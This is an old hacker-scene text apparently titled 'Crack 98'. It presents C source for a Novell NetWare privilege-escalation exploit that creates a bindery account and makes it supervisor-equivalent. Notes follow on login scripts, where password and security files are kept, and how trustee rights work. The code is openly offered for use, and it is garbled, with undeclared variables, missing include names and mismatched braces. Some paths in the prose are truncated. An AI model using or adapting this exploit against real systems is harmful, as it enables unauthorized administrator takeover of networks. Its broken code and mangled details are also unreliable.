Novell Netware Administration Exploit Author: Mnemonic email : mnem@legions.org #include #include #include #include #include #include #include #include #include #include main(int argc, char *argv[]) { long task; char *account printf("Crack 98 written by Mnemonic\n"); task = SetCurrentTask(-1L); SetCurrentConnection(0); account = argv[1]; while (argc > 1) { if (CreateBinderyObject(name, OT_USER, BF_STATIC, 0x31) == 0) printf("The account %s has been created\n", account); else printf("The account %s already exists on the network\n", account); CreateProperty(account, OUT_USER, "SECURITY_EQUALS", BF_STATIC | BF_SET, 0x32); if (AddBinderyObjectToSet(account, OT_USER, "SECURITY_EQUALS", "SUPERVISOR", OT_USER) == 0) printf("The account %s has been made supervisor equivalent\n", account); else printf("The account is already supervisor equivalent\n"); } printf("You must enter an account name\n"); account = argv[1]; } ReturnBlockOfTasks(&task, 1L); ReturnConnection(GetCurrentConnection()); return 0; } Crack '98 sets the connection to 0 for supervisor, and then creates a user object in the bindery which must have an equivalent property. Then it adds supervisor equivalent to the supervisor equivalence property so it can make an account equivalent to that of supervisor. It supports Novell NetWare 2.x, 3.x, 4.x, and Novell IntraNet Ware 4.x. This is what the account's login script should look like after you've run the program. WRITE "Good%GREETING_TIME, %LOGIN_NAME." MAP DISPLAY OFF MAP ERRORS OFF Remark: Set 1st drive to most appropriate directory MAP *1:=SYS:; *1=%LOGIIF "%1"="SUPERVISOR" MAP *1:=SYS:SYSTEM Remark: Set search drives (S2 machine-OS dependent). MAPT S1:=SYS:PUBLIC; S2:=S1:%MACHINE/%OS/%OS_VERSION Remark: Now display all the current drive settings. MAP DISPLAY ON MAP Here, the SUPERVISOR default logins are the directory names SYS:SYSTEM and/or SYS:PUBLIC as the filename NET$LOG.DAT. NetWare assigns each user or group a unique number when it is defined. The SUPERVISOR user number is always 1. All other users and groups are assigned hexadecimal numbers. Since all mail directories are created in the directory SYS:MAIL, the LAN SUPERVISOR's mail directory is SYS:MAIL\1. The user login script itself, however, is stored in a file named LOGIN with no extension. For example, IL\1\LOGIN. The user login script is used to define user-specific resources and environment settings. If a user login script file exists it will be executed. If it does not exist, then the LOGIN program invokes a default user login script. This can be a source of trouble, as the default user login script might interfere with drive mappings in the system login script. There are two utilities provided with NetWare to create new user accounts. These are SYSCON and MAKEUSER. Both are displayed as options on the NetWare Login main screen, and can be used to create a new account, and its corresponding login script. When a user logs into the NetWare, the LOGIN program verifies if the entered password specifies the id that corresponds with it, and then retrieves the user rights information from the file server. If one exists, the system login script is then executed. This script, is then stored in the user acount's mail directory. In NetWare 2.x, the password file is NET$BVAL.SYS, and is kept in the SYS:PASSWD directory along with the security file NET$BIND.SYS. In 3.x, the password file is NET$VAL.SYS and is also kept in the SYS:PASSWD directory along with the security files NET$OBJ.SYS and NET$PROP.SYS. In 4.x you have PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS, and UNINSTAL.NDS. The system login script is created with the SYSCON utility be the LAN supervisor and is stored in a file named NET$LOG.DAT in the SYS:PUBLIC directory. Here is an example of how permissions are assigned. USER1 is a member of the groups EVERYONE and ACCOUNTING. All users are members of EVERYONE. Group EVERYONE has Read, Open, and Search rights in SYS:APPS. Group ACCOUNTING has Write, Create, and Delete rights in SYS:APPS\DATA USER1 has Parental and Modify rights in SYS:APPS\DATA\USER1 USER1's trustee priveleges are accounted for as Directory Group Rights SYS:APPS EVERYONE [R O S ] SYS:APPS\DATA ACCOUNTING [ W CD ] Trustee priveleges [RWOCD S ] The one access type that gains everything is called Supervisory. Its environmetal settings are RWOCDPSM. Mnemonic check out: http://www.legions.org